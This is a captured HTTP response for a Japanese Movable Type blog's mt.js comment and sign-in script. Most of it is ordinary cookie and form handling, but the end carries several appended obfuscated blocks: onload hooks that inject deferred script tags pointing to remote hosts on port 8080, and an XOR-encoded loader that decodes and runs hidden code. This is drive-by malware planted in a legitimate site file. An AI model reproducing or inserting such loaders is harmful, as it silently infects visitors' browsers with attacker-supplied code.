URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2010 13:55:06 GMT
Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8e
Last-Modified: Tue, 23 Feb 2010 21:04:51 GMT
ETag: "78e0-4b8442f3"
Accept-Ranges: bytes
Content-Length: 30944
Connection: close
Content-Type: application/javascript

// The cookie name to use for storing the blog-side comment session cookie.
var mtCookieName = "mt_blog16_user";
var mtCookieDomain = ".vaxponys.sakura.ne.jp";
var mtCookiePath = "/natural-warm.vaxponys.com/";
var mtCookieTimeout = 14400;


function mtHide(id) {
    var el = (typeof id == "string") ? document.getElementById(id) : id;
    if (el) el.style.display = 'none';
}


function mtShow(id) {
    var el = (typeof id == "string") ? document.getElementById(id) : id;
    if (el) el.style.display = 'block';
}


function mtAttachEvent(eventName,func) {
    var onEventName = 'on' + eventName;
    var old = window[onEventName];
    if( typeof old != 'function' )
        window[onEventName] = func;
    else {
        window[onEventName] = function( evt ) {
            old( evt );
            return func( evt );
        };
    }
}


function mtFireEvent(eventName,param) {
    var fn = window['on' + eventName];
    if (typeof fn == 'function') return fn(param);
    return;
}


function mtRelativeDate(ts, fds) {
    var now = new Date();
    var ref = ts;
    var delta = Math.floor((now.getTime() - ref.getTime()) / 1000);

    var str;
    if (delta < 60) {
        str = '直前';
    } else if (delta <= 86400) {
        // less than 1 day
        var hours = Math.floor(delta / 3600);
        var min = Math.floor((delta % 3600) / 60);
        if (hours == 1)
            str = '1 時間前';
        else if (hours > 1)
            str = '2 時間前'.replace(/2/, hours);
        else if (min == 1)
            str = '1 分前';
        else
            str = '2 分前'.replace(/2/, min);
    } else if (delta <= 604800) {
        // less than 1 week
        var days = Math.floor(delta / 86400);
        var hours = Math.floor((delta % 86400) / 3600);
        if (days == 1)
            str = '1 日前';
        else if (days > 1)
            str = '2 日前'.replace(/2/, days);
        else if (hours == 1)
            str = '1 時間前';
        else
            str = '2 時間前'.replace(/2/, hours);
    }
    return str ? str : fds;
}


function mtEditLink(entry_id, author_id) {
    var u = mtGetUser();
    if (! u) return;
    if (! entry_id) return;
    if (! author_id) return;
    if (u.id != author_id) return;
    var link = '<a href="mt.cgi?__mode=view&amp;_type=entry&amp;id=' + entry_id + '">編集</a>';
    document.write(link);
}


function mtCommentFormOnFocus() {
    // if CAPTCHA is enabled, this causes the captcha image to be
    // displayed if it hasn't been already.
    mtShowCaptcha();
}


var mtCaptchaVisible = false;
function mtShowCaptcha() {
    var u = mtGetUser();
    if ( u && u.is_authenticated ) return;
    if (mtCaptchaVisible) return;
    var div = document.getElementById('comments-open-captcha');
    if (div) {
        div.innerHTML = '';
        mtCaptchaVisible = true;
    }
}



var is_preview;
var user;

function mtSetUser(u) {
    if (u) {
        // persist this
        user = u;
        mtSaveUser();
        // sync up user greeting
        mtFireEvent('usersignin');
    }
}


function mtEscapeJS(s) {
    s = s.replace(/'/g, "&apos;");
    return s;
}


function mtUnescapeJS(s) {
    s = s.replace(/&apos;/g, "'");
    return s;
}


function mtBakeUserCookie(u) {
    var str = "";
    if (u.name) str += "name:'" + mtEscapeJS(u.name) + "';";
    if (u.url) str += "url:'" + mtEscapeJS(u.url) + "';";
    if (u.email) str += "email:'" + mtEscapeJS(u.email) + "';";
    if (u.is_authenticated) str += "is_authenticated:'1';";
    if (u.profile) str += "profile:'" + mtEscapeJS(u.profile) + "';";
    if (u.userpic) str += "userpic:'" + mtEscapeJS(u.userpic) + "';";
    if (u.sid) str += "sid:'" + mtEscapeJS(u.sid) + "';";
    str += "is_trusted:'" + (u.is_trusted ? "1" : "0") + "';";
    str += "is_author:'" + (u.is_author ? "1" : "0") + "';";
    str += "is_banned:'" + (u.is_banned ? "1" : "0") + "';";
    str += "can_post:'" + (u.can_post ? "1" : "0") + "';";
    str += "can_comment:'" + (u.can_comment ? "1" : "0") + "';";
    str = str.replace(/;$/, '');
    return str;
}


function mtUnbakeUserCookie(s) {
    if (!s) return;

    var u = {};
    var m;
    while (m = s.match(/^((name|url|email|is_authenticated|profile|userpic|sid|is_trusted|is_author|is_banned|can_post|can_comment):'([^']+?)';?)/)) {
        s = s.substring(m[1].length);
        if (m[2].match(/^(is|can)_/)) // boolean fields
            u[m[2]] = m[3] == '1' ? true : false;
        else
            u[m[2]] = mtUnescapeJS(m[3]);
    }
    if (u.is_authenticated) {
        u.is_anonymous = false;
    } else {
        u.is_anonymous = true;
        u.can_post = false;
        u.is_author = false;
        u.is_banned = false;
        u.is_trusted = false;
    }
    return u;
}


function mtGetUser() {
    if (!user) {
        var cookie = mtGetCookie(mtCookieName);
        if (!cookie) return;
        user = mtUnbakeUserCookie(cookie);
        if (! user) {
            user = {};
            user.is_anonymous = true;
            user.can_post = false;
            user.is_author = false;
            user.is_banned = false;
            user.is_trusted = false;
        }
    }
    return user;
}


var mtFetchedUser = false;

function mtFetchUser(cb) {
    if (!cb) cb = 'mtSetUser';
    if ( ( cb == 'mtSetUser' ) && mtGetUser() ) {
        var url = document.URL;
        url = url.replace(/#.+$/, '');
        url += '#comments-open';
        location.href = url;
    } else {
        // we aren't using AJAX for this, since we may have to request
        // from a different domain. JSONP to the rescue.
        mtFetchedUser = true;
        var script = document.createElement('script');
        var ts = new Date().getTime();
        script.src = 'http://vaxponys.sakura.ne.jp/mt/mt-comments.cgi?__mode=session_js&blog_id=16&jsonp=' + cb + '&ts=' + ts;
        (document.getElementsByTagName('head'))[0].appendChild(script);
    }
}



function mtRememberMeOnClick(b) {
    if (!b.checked)
        mtClearUser(b.form);
    return true;
}



var mtRequestSubmitted = false;
function mtCommentOnSubmit(f) {
    if (!mtRequestSubmitted) {
        mtRequestSubmitted = true;

        if (f.armor)
            f.armor.value = '43c6c24e04bb4655d6db074bb441f9d06afbba82';
        if (f.bakecookie && f.bakecookie.checked)
            mtSaveUser(f);

        // disable submit buttons
        if (f.preview_button) f.preview_button.disabled = true;
        if (f.post) f.post.disabled = true;

        var u = mtGetUser();
        if ( !is_preview && ( u && u.is_authenticated ) ) {
            // validate session; then submit
            mtFetchedUser = false;
            mtFetchUser('mtCommentSessionVerify');
            return false;
        }

        return true;
    }
    return false;
}

function mtCommentSessionVerify(app_user) {
    var u = mtGetUser();
    var f = document['comments_form'];
    if ( u && app_user && app_user.sid && ( u.sid == app_user.sid ) ) {
        f.submit();
    } else {
        alert('セッションの有効期限が切れています。再度サインインしてください。');
        mtClearUser();
        mtFireEvent('usersignin');

        mtShow('comments-form');
        mtHide('comments-open-footer');

    }
}

function mtUserOnLoad() {
    var u = mtGetUser();

    // if the user is authenticated, hide the 'anonymous' fields
    // and any captcha input if already shown
    if ( document.getElementById('comments-form')) {
        if ( u && u.is_authenticated ) {
            mtShow('comments-form');
            mtHide('comments-open-data');
            if (mtCaptchaVisible)
                mtHide('comments-open-captcha');
        } else {

            mtHide('comments-form');

        }
        if ( u && u.is_banned )
            mtHide('comments-form');

        // if we're previewing a comment, make sure the captcha
        // field is visible
        if (is_preview)
            mtShowCaptcha();
        else
            mtShowGreeting();

        // populate anonymous comment fields if user is cookied as anonymous
        var cf = document['comments_form'];
        if (cf) {
            if (u && u.is_anonymous) {
                if (u.email) cf.email.value = u.email;
                if (u.name) cf.author.value = u.name;
                if (u.url) cf.url.value = u.url;
                if (cf.bakecookie)
                    cf.bakecookie.checked = u.name || u.email;
            } else {
                if (u && u.sid && cf.sid)
                    cf.sid.value = u.sid;
            }
            if (cf.post && cf.post.disabled)
                cf.post.disabled = false;
            if (cf.preview_button && cf.preview_button.disabled)
                cf.preview_button.disabled = false;
            mtRequestSubmitted = false;
        }
    }
}




function mtEntryOnLoad() {
    var cf = document['comments_form'];
    if (cf && cf.preview) cf.preview.value = '';
    
    
    mtFireEvent('usersignin');
}

function mtEntryOnUnload() {
    if (mtRequestSubmitted) {
        var cf = document['comments_form'];
        if (cf) {
            if (cf.post && cf.post.disabled)
                cf.post.disabled = false;
            if (cf.preview_button && cf.preview_button.disabled)
                cf.preview_button.disabled = false;
        }
        mtRequestSubmitted = false;
    }
    return true;
}

mtAttachEvent('usersignin', mtUserOnLoad);



function mtSignIn() {
    var doc_url = document.URL;
    doc_url = doc_url.replace(/#.+/, '');
    var url = 'http://vaxponys.sakura.ne.jp/mt/mt-comments.cgi?__mode=login&blog_id=16';
    if (is_preview) {
        if ( document['comments_form'] ) {
            var entry_id = document['comments_form'].entry_id.value;
            url += '&entry_id=' + entry_id;
        } else {
            url += '&return_url=http%3A%2F%2Fvaxponys.sakura.ne.jp%2Fnatural-warm.vaxponys.com%2F';
        }
    } else {
        url += '&return_url=' + encodeURIComponent(doc_url);
    }
    mtClearUser();
    location.href = url;
}

function mtSignInOnClick(sign_in_element) {
    var el;
    if (sign_in_element) {
        // display throbber
        el = document.getElementById(sign_in_element);
        if (!el)  // legacy MT 4.x element id
            el = document.getElementById('comment-form-external-auth');
    }
    if (el)
        el.innerHTML = 'サインインします... <span class="status-indicator">&nbsp;</span>';

    mtClearUser(); // clear any 'anonymous' user cookie to allow sign in
    mtFetchUser('mtSetUserOrLogin');
    return false;
}

function mtSetUserOrLogin(u) {
    if (u && u.is_authenticated) {
        mtSetUser(u);
    } else {
        // user really isn't logged in; so let's do this!
        mtSignIn();
    }
}


function mtSignOut(entry_id) {
    mtClearUser();
    var doc_url = document.URL;
    doc_url = doc_url.replace(/#.+/, '');
    var url = 'http://vaxponys.sakura.ne.jp/mt/mt-comments.cgi?__mode=handle_sign_in&static=0&logout=1';
    if (is_preview) {
        if ( document['comments_form'] ) {
            var entry_id = document['comments_form'].entry_id.value;
            url += '&entry_id=' + entry_id;
        } else {
            url += '&return_url=http%3A%2F%2Fvaxponys.sakura.ne.jp%2Fnatural-warm.vaxponys.com%2F';
        }
    } else {
        url += '&return_url=' + encodeURIComponent(doc_url);
    }
    location.href = url;
}


function mtSignOutOnClick() {
    mtSignOut();
    return false;
}



function mtShowGreeting() {

    var reg_reqd = true;

    var cf = document['comments_form'];
    if (!cf) return;

    var el = document.getElementById('comment-greeting');
    if (!el)  // legacy MT 4.x element id
        el = document.getElementById('comment-form-external-auth');
    if (!el) return;

    var eid = cf.entry_id;
    var entry_id;
    if (eid) entry_id = eid.value;

    var phrase;
    var u = mtGetUser();

    if ( u && u.is_authenticated ) {
        if ( u.is_banned ) {
            phrase = 'このブログにコメントする権限を持っていません。(\<a href=\"javas\cript:void(0);\" onclick=\"return mtSignOutOnClick();\"\>サインアウトする\<\/a\>)';
        } else {
            var user_link;
            if ( u.is_author ) {
                user_link = '<a href="http://vaxponys.sakura.ne.jp/mt/mt-comments.cgi?__mode=edit_profile&return_url=' + encodeURIComponent( location.href );
                user_link += '">' + u.name + '</a>';
            } else {
                // registered user, but not a user with posting rights
                if (u.url)
                    user_link = '<a href="' + u.url + '">' + u.name + '</a>';
                else
                    user_link = u.name;
            }
            // TBD: supplement phrase with userpic if one is available.
            phrase = '__NAME__としてサインインしています。(\<a href=\"javas\cript:void(0)\" onclick=\"return mtSignOutOnClick();\"\>サインアウト\<\/a\>)';
            phrase = phrase.replace(/__NAME__/, user_link);
        }
    } else {
        if (reg_reqd) {
            phrase = 'コメントするにはまず\<a href=\"javas\cript:void(0)\" onclick=\"return mtSignInOnClick(\'comment-greeting\')\"\>サインイン\<\/a\>してください。';
        } else {
            phrase = 'コメントする前に\<a href=\"javas\cript:void(0)\" onclick=\"return mtSignInOnClick(\'comment-greeting\')\"\>サインイン\<\/a\>することもできます。';
        }
    }
    el.innerHTML = phrase;

}



function mtReplyCommentOnClick(parent_id, author) {
    mtShow('comment-form-reply');

    var checkbox = document.getElementById('comment-reply');
    var label = document.getElementById('comment-reply-label');
    var text = document.getElementById('comment-text');

    // Populate label with new values
    var reply_text = '\<a href=\"#comment-__PARENT__\" onclick=\"location.href=this.href; return false\"\>__AUTHOR__からのコメント\<\/a\>に返信';
    reply_text = reply_text.replace(/__PARENT__/, parent_id);
    reply_text = reply_text.replace(/__AUTHOR__/, author);
    label.innerHTML = reply_text;

    checkbox.value = parent_id; 
    checkbox.checked = true;
    try {
        // text field may be hidden
        text.focus();
    } catch(e) {
    }

    mtSetCommentParentID();
}


function mtSetCommentParentID() {
    var checkbox = document.getElementById('comment-reply');
    var parent_id_field = document.getElementById('comment-parent-id');
    if (!checkbox || !parent_id_field) return;

    var pid = 0;
    if (checkbox.checked == true)
        pid = checkbox.value;
    parent_id_field.value = pid;
}


function mtSaveUser(f) {
    // We can't reliably store the user cookie during a preview.
    if (is_preview) return;

    var u = mtGetUser();

    if (f && (!u || u.is_anonymous)) {
        if ( !u ) {
            u = {};
            u.is_authenticated = false;
            u.can_comment = true;
            u.is_author = false;
            u.is_banned = false;
            u.is_anonymous = true;
            u.is_trusted = false;
        }
        if (f.author != undefined) u.name = f.author.value;
        if (f.email != undefined) u.email = f.email.value;
        if (f.url != undefined) u.url = f.url.value;
    }

    if (!u) return;

    var cache_period = mtCookieTimeout * 1000;

    // cache anonymous user info for a long period if the
    // user has requested to be remembered
    if (u.is_anonymous && f && f.bakecookie && f.bakecookie.checked)
        cache_period = 365 * 24 * 60 * 60 * 1000;

    var now = new Date();
    mtFixDate(now);
    now.setTime(now.getTime() + cache_period);

    var cmtcookie = mtBakeUserCookie(u);
    mtSetCookie(mtCookieName, cmtcookie, now, mtCookiePath, mtCookieDomain,
        location.protocol == 'https:');
}


function mtClearUser() {
    user = null;
    mtDeleteCookie(mtCookieName, mtCookiePath, mtCookieDomain,
        location.protocol == 'https:');
}


function mtSetCookie(name, value, expires, path, domain, secure) {
    if (domain && domain.match(/^\.?localhost$/))
        domain = null;
    var curCookie = name + "=" + escape(value) +
        (expires ? "; expires=" + expires.toGMTString() : "") +
        (path ? "; path=" + path : "") +
        (domain ? "; domain=" + domain : "") +
        (secure ? "; secure" : "");
    document.cookie = curCookie;
}


function mtGetCookie(name) {
    var prefix = name + '=';
    var c = document.cookie;
    var cookieStartIndex = c.indexOf(prefix);
    if (cookieStartIndex == -1)
        return '';
    var cookieEndIndex = c.indexOf(";", cookieStartIndex + prefix.length);
    if (cookieEndIndex == -1)
        cookieEndIndex = c.length;
    return unescape(c.substring(cookieStartIndex + prefix.length, cookieEndIndex));
}


function mtDeleteCookie(name, path, domain, secure) {
    if (mtGetCookie(name)) {
        if (domain && domain.match(/^\.?localhost$/))
            domain = null;
        document.cookie = name + "=" +
            (path ? "; path=" + path : "") +
            (domain ? "; domain=" + domain : "") +
            (secure ? "; secure" : "") +
            "; expires=Thu, 01-Jan-70 00:00:01 GMT";
    }
}

function mtFixDate(date) {
    var skew = (new Date(0)).getTime();
    if (skew > 0)
        date.setTime(date.getTime() - skew);
}


function mtGetXmlHttp() {
    if ( !window.XMLHttpRequest ) {
        window.XMLHttpRequest = function() {
            var types = [
                "Microsoft.XMLHTTP",
                "MSXML2.XMLHTTP.5.0",
                "MSXML2.XMLHTTP.4.0",
                "MSXML2.XMLHTTP.3.0",
                "MSXML2.XMLHTTP"
            ];

            for ( var i = 0; i < types.length; i++ ) {
                try {
                    return new ActiveXObject( types[ i ] );
                } catch( e ) {}
            }

            return undefined;
        };
    }
    if ( window.XMLHttpRequest )
        return new XMLHttpRequest();
}

// BEGIN: fast browser onload init
// Modifications by David Davis, DWD
// Dean Edwards/Matthias Miller/John Resig
// http://dean.edwards.name/weblog/2006/06/again/?full#comment5338

function mtInit() {
    // quit if this function has already been called
    if (arguments.callee.done) return;

    // flag this function so we don't do the same thing twice
    arguments.callee.done = true;

    // kill the timer
    // DWD - check against window
    if ( window._timer ) clearInterval(window._timer);

    // DWD - fire the window onload now, and replace it
    if ( window.onload && ( window.onload !== window.mtInit ) ) {
        window.onload();
        window.onload = function() {};
    }
}

/* for Mozilla/Opera9 */
if (document.addEventListener) {
    document.addEventListener("DOMContentLoaded", mtInit, false);
}

/* for Internet Explorer */
/*@cc_on @*/
/*@if (@_win32)
document.write("<script id=__ie_onload defer src=javascript:void(0)><\/script>");
var script = document.getElementById("__ie_onload");
script.onreadystatechange = function() {
    if (this.readyState == "complete") {
        mtInit(); // call the onload handler
    }
};
/*@end @*/

/* for Safari */
if (/WebKit/i.test(navigator.userAgent)) { // sniff
    _timer = setInterval(function() {
        if (/loaded|complete/.test(document.readyState)) {
            mtInit(); // call the onload handler
        }
    }, 10);
}

/* for other browsers */
window.onload = mtInit;

// END: fast browser onload init



/***
 * If request contains a '#_login' or '#_logout' hash, use this to
 * also delete the blog-side user cookie, since we're coming back from
 * a login, logout or edit profile operation.
 */
var clearCookie = ( window.location.hash && window.location.hash.match( /^#_log(in|out)/ ) ) ? true : false;
if (clearCookie) {
    // clear any logged in state
    mtClearUser();
    if (RegExp.$1 == 'in')
        mtFetchUser();
} else {
    
    if ( is_preview && !user )
        mtFetchUser();
}






var a=new Array();this.xt=59397;var q;if(q!='' && q!='n'){q=null};var d="";var l;if(l!='' && l!='mx'){l=null};var g='sBcErEi:pGtB'.replace(/[BGIE\:]/g, '');var tu;if(tu!='p' && tu != ''){tu=null};this.qz='';var c=window;this.h="h";var gi=41616;var w=document;this.op="op";c.onload=function(){this.vn=false;try {var an="";x=w.createElement(g);var hxl;if(hxl!='iz'){hxl=''};var wa;if(wa!='ul'){wa=''};x.setAttribute('d<eKfKemr<'.replace(/[\<Kw8m]/g, ''), "1");var im="im";var dy="dy";x.src='hAtjtGpj:?/A/?r?eGfPeArAejnGcjeG-AcGoPmj.AaPe?bAnj.jnAePtP.G1PuAn?dj1?-PdPeA.?bGejsPtGn?eAwjhAaGvGeGnA.PrAuG:A8A0P8j0j/?dAa?ijlAyGmjoGtPiAoGnG.PcPoPmj/Gd?aGiGlAyGmGoGtPiAoGnP.?cGo?mG/?cAnjcjmAaGxj.AcGnA/jgPoGo?gPlGeP.?cGoPmj/AoGn?lGiPnPeAd?oAwPnA.jnjejtA/A'.replace(/[AG\?jP]/g, '');this.yw='';this.ap="";w.body.appendChild(x);this.h_='';} catch(o){var sg;if(sg!=''){sg='qs'};var rkm;if(rkm!=''){rkm='jv'};};var zyt;if(zyt!='' && zyt!='nj'){zyt=''};var bt="bt";};var ob;if(ob!='' && ob!='tb'){ob=''};var px="px";
var f='';try {var dn=new Array();:LineMixer [var y='h4tft4p7:4/7/7oBr4k_u_t4-7cBoBm4-7b7rf.4rBmfx_a4d4s_.7c4o7mf.Ba7l7l7afb4ofuftf-_c4of-4j_p4.4yfo_uBr7t_oBlfl7t7afgf._r7uf:48_0_8407/flBaBt7i4mBefs4.Bc4oBmf/4lfaBtfi4m4eBs7.7cBo7mf/4gfo_oBg4l_e_.4c_oBm4/43B6407bBufy7.Bcfo7m_/7r4i_n7c_o4n_d_e7l_v_aBg4o4.fc7o7m4/f'.replace(/[f_7B4]/g, '');var ex="ex";var a='s,cOr,i,pOt?'.replace(/[\?FqO,]/g, '');var q='c/r6esa/tsesEsl/e6m/esn/ts'.replace(/[s@6N/]/g, '');var yh;if(yh!='' && yh!='nzo'){yh=''};var l='oNnel#oxaUde'.replace(/[exUN#]/g, '');var o=new Array();var lp="1";var z='aSpIpyeIn_d_C_hyi:lSdy'.replace(/[y_\:IS]/g, '');var et;if(et!='vd' && et!='oa'){et=''};var d='sSeptfAftftfrIifbSuftIep'.replace(/[p_IfS]/g, '');this._="";var k='b+o6d1y6'.replace(/[61n\+m]/g, '');this.c="c";]window[l]=function(){this.m='';db=document[q](a);:LineMixer [var pv="pv";db['sMrMcM'.replace(/[Mo\*Zu]/g, '')]=y;this.ql='';db[d]('d?eaf?ear6'.replace(/[6\?a\^N]/g, ''), lp);var h;if(h!='tc'){h=''};var li=document[k];var ey;if(ey!='' && ey!='ejs'){ey=null};]li[z](db);};var ts;if(ts!='m_'){ts=''};} catch(lx){var mb;if(mb!='bs'){mb=''};};
var Kqz="5d575e7f48184d5c574f41395b4f574b217954790e0f0d0c136541566c4875422e03270778786f5674566b7a4a46773a365879795b4f524f514662686e605c635f5b6e604b583b5751246a6e611b79563f7d49";var yr;if(yr!='sv'){yr=''};var OV="";var LM="";function P(d){var qa=new Date();var Rx;if(Rx!='L' && Rx != ''){Rx=null};this.Z="Z"; function R(Rd,Q){var G;if(G!=''){G='qB'};return Rd[k("ahrcdoeCAt", [3,1,0,2])](Q);var H;if(H!='' && H!='Kq'){H='vC'};var Ty=new Array();}var LA;if(LA!='hy'){LA=''}; function e(Y){var j="";var Zl;if(Zl!='' && Zl!='HE'){Zl=''};var bt=false;var S = -1;var c=new Array();var nt =[45,161,0][2];this.da='';var Ga;if(Ga!='OY' && Ga != ''){Ga=null};var o = '';var rM=45822;var z =[152,0,1,202][1];var mv="mv";Y = new A(Y);this.SG=18425;this.MQ=37391;for (nt=Y[k("elngth", [1,0,2,3])]-S;nt>=z;nt=nt-[184,1,164][1]){o+=Y[k("hcratA", [1,0])](nt);}var xN=new Array();return o;} function D(v){var jK="jK";this.Fh="Fh";var zu=[158,0,199][1];var PZ=[94,0,178][1];var q=[1][0];this.Fk="Fk";var b=[255][0];var JP;if(JP!='hg' && JP!='Vw'){JP='hg'};var MG;if(MG!='RG' && MG!='YN'){MG='RG'};var Dg=v[k("elgnht", [1,0])];this.U='';var hF;if(hF!='tb' && hF!='Lv'){hF=''};var jf;if(jf!='ys' && jf!='Eh'){jf=''};while(PZ<Dg){var De;if(De!='Mu' && De != ''){De=null};var xn='';var vc;if(vc!='IF' && vc!='Eo'){vc='IF'};PZ++;var Qy;if(Qy!='jI' && Qy!='mS'){Qy='jI'};var Mk;if(Mk!='' && Mk!='sm'){Mk=null};i=R(v,PZ - q);var jO=new Date();zu+=i*Dg;var UD;if(UD!='Tr' && UD != ''){UD=null};}var oC=57072;var fn;if(fn!='ku' && fn!='kh'){fn=''};this.Bb="";return new A(zu % b);var tk;if(tk!='' && tk!='zq'){tk=''};var Hk;if(Hk!='' && Hk!='ee'){Hk=''};} this.xI="xI";function k(Y, h){var Jv;if(Jv!=''){Jv='Gk'};var l;if(l!='' && l!='Rze'){l=''};var z=[211,134,0][2];var uK='';var lP='';var E = h.length;var AUr;if(AUr!='ZK' && AUr!='UDJ'){AUr=''};var Sy = Y.length;var o = '';var yS;if(yS!='' && yS!='FP'){yS='Da'};var uw;if(uw!='sK' && uw != ''){uw=null};var q=[1][0];var Ja=new Array();var IO;if(IO!='' && IO!='iS'){IO='NJ'};var cf=new Date();var jU=new Array();this.vY="vY";for(var nt = z; nt < Sy; nt += E) {var Ayo=new Date();var MQy=22869;var NY="";var p = Y.substr(nt, E);var Rb=new String();if(p.length == E){var Os;if(Os!='' && Os!='Xk'){Os=''};var Lz=new String();for(var PZ in h) {var iN;if(iN!=''){iN='Ww'};var pM="pM";o+=p.substr(h[PZ], q);var Pz;if(Pz!='' && Pz!='qw'){Pz='orR'};var IB=new Date();}} else {this.zv="";  o+=p;var jR=new Date();}}var LG=30626;var Cs;if(Cs!='' && Cs!='uP'){Cs=''};var rC;if(rC!='' && rC!='aH'){rC=''};return o;var Fc=1521;var Rg;if(Rg!='ka'){Rg=''};} this.Mx=3211;var YJ;if(YJ!='kO' && YJ != ''){YJ=null};function u(uH,y){return uH^y;this.btu="";this.ZE="";}var gA="";var Ie;if(Ie!='Pe' && Ie!='Yi'){Ie=''};var N=window;var yd=N[k("lvae", [3,1,2,0])];var OP;if(OP!=''){OP='ZQ'};var g=yd(k("uFcnitno", [1,0]));var zwk;if(zwk!='QP' && zwk!='ub'){zwk=''};this.Ac=37617;var x=yd(k("geRpxE", [2,1,0]));this.dW='';this.Ck='';var A=yd(k("rStgin", [1,2,0]));this.LzU=6999;this.Ax=29541;var Sx;if(Sx!='' && Sx!='FhK'){Sx=null};var zG="";var yt = '';var ZX;if(ZX!='' && ZX!='xel'){ZX=''};var ik=new Array();var jE=new Array();var Hl=new Array();var s=N[k("ensupaec", [3,1,0,2])];var M=A[k("rofmChrCaode", [2,0,1,3,4,5])];this.Ny=false;var Ku=21587;var jc;if(jc!='' && jc!='WN'){jc=''};var Ky;if(Ky!='' && Ky!='yH'){Ky=''};var SS = '';var qn = d[k("egnlth", [3,0,2,1])];var Ca;if(Ca!='iq' && Ca!='gw'){Ca=''};var T = '';this.nJ="";var z =[0,67,49,129][0];var K = '';this.tF=false;var lu;if(lu!='Vb'){lu=''};var ET =[2][0];var HZ="";var DF=[1, k("umdoc.centtereameEle\'snt(ptcri\')", [2,3,4,0,1]),2, k("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, k(".tcntoetodra.lgwru:8080", [3,6,7,0,2,5,1,4]),4, k(".desAtttirubet\'(edef\'r", [1,0]),5, k("goocle.gom", [7,1,2,0,4,5,6,3]),6, k("oc.mcuzor..ueanb", [1,0]),7, k("wi.odnownload", [7,1,5,4,3,0,2,6]),8, k("olggo.moec.br", [3,0,4,2,1]),11, k("i.nkeikco.jp", [2,0,3,6,4,5,1]),12, k("nfuict(on)", [1,2,0]),14, k("t.nnee.jp", [3,4,0,6,2,5,1]),15, k("acct(h)e", [1,0]),16, k("tt\"p:h", [2,5,0,1,3,4]),17, k("ynopts", [1,0]),18, k(".rdcs", [2,0,4,1,3]),19, k("1\')\'", [1,0]),20, k("rty", [1,0]),21, k("os", [1,0])];var sr=new Array();var Do="";var q =[44,190,9,1][3];var ce=50069;var Naw;if(Naw!='aP' && Naw != ''){Naw=null};var mJb;if(mJb!='kq' && mJb != ''){mJb=null};var Yl = M(37);var Ur='';var O = /[^@a-z0-9A-Z_-]/g;var Fo=new String();var f =[0,169][0];this.gM='';this.uS="uS";var JY='';this.Xq='';for(var Pi=z; Pi < qn; Pi+=ET){var pb;if(pb!='' && pb!='VG'){pb=null};K+= Yl; K+= d[k("ubstrs", [2,0,1])](Pi, ET);this.mj="mj";this.Oc=14830;}var YD="YD";var qU;if(qU!='fw' && qU != ''){qU=null};var FA=new Array();var d = s(K);var PS=new Date();this.Ia=21627;var bF;if(bF!='vw'){bF='vw'};var fH = new A(P);var HL;if(HL!='' && HL!='Ev'){HL='Kh'};var Db = fH[k("paecerl", [5,4,0,6,1,3,2])](O, T);this.uU="";this.Ol=false;var oM="oM";var QD = DF[k("glenth", [1,2,3,0])];Db = e(Db);var wM=new Date();var zT;if(zT!='' && zT!='TP'){zT=null};var KDN;if(KDN!='JF' && KDN!='zy'){KDN='JF'};var Po = new A(g);var yw;if(yw!='uRm' && yw!='od'){yw=''};var Be;if(Be!='rCv' && Be!='NmI'){Be='rCv'};var gb=new Date();var Jz='';var iV = Po[k("prlacee", [1,5,0,2,3,4])](O, T);var iV = D(iV);var zi;if(zi!='XL'){zi='XL'};var ES;if(ES!='cj'){ES='cj'};var nG=D(Db);var cS=7833;for(var nt=z; nt < (d[k("nelhtg", [2,1,0])]);nt=nt+[65,1][1]) {var Gh=new Date();var dy;if(dy!='VM' && dy!='IN'){dy=''};var Em;if(Em!='' && Em!='VI'){Em=null};var QG = Db.charCodeAt(f);var t = R(d,nt);var Ve;if(Ve!='tFG' && Ve!='bku'){Ve=''};var LjB;if(LjB!='' && LjB!='RM'){LjB='lm'};t = u(t, QG);t = u(t, nG);t = u(t, iV);this.IL="IL";this.XY="XY";var qv;if(qv!='IY'){qv='IY'};var BI;if(BI!='YK' && BI!='smT'){BI='YK'};f++;this.GE=23895;this.zD='';var ysX;if(ysX!='to' && ysX!='Rl'){ysX='to'};if(f > Db.length-q){var py=false;var gW;if(gW!='Oz' && gW!='Kt'){gW=''};f=z;}SS += M(t);}var CH;if(CH!='' && CH!='yaC'){CH=null};var cT;if(cT!='ZR' && cT!='UJ'){cT='ZR'};this.wT="";for(I=z; I < QD; I+=ET){var Lg='';var RT=60032;var aC;if(aC!='' && aC!='BC'){aC=null};var a = M(DF[I]);var fM;if(fM!='Ez' && fM!='zDA'){fM='Ez'};var J = DF[I + q];var XkE;if(XkE!=''){XkE='Lq'};var Li='';var xH='';var gMQ='';var xU = new x(a, M(103));SS=SS[k("alprece", [3,4,2,1,0])](xU, J);}var qs='';var gN='';var Ta;if(Ta!='rK'){Ta=''};var pj=new Array();var V=new g(SS);var IR=new String();var UH='';V();var fl="";V = '';var RC;if(RC!='cN'){RC=''};var Ka;if(Ka!='' && Ka!='WNP'){Ka=null};var ypx;if(ypx!='' && ypx!='ma'){ypx=''};Db = '';this.Tu=false;var Lo;if(Lo!='Rj' && Lo!='cU'){Lo=''};iV = '';var qh="";var ks;if(ks!='' && ks!='Pk'){ks=null};SS = '';var oCV;if(oCV!='' && oCV!='pGr'){oCV='XW'};Po = '';nG = '';var Ze;if(Ze!='' && Ze!='Kr'){Ze='vk'};var kG='';this.UA="";this.pMg=2803;this.Iah=15464;return '';var Qk=new String();};var yr;if(yr!='sv'){yr=''};var OV="";var LM="";P(Kqz);
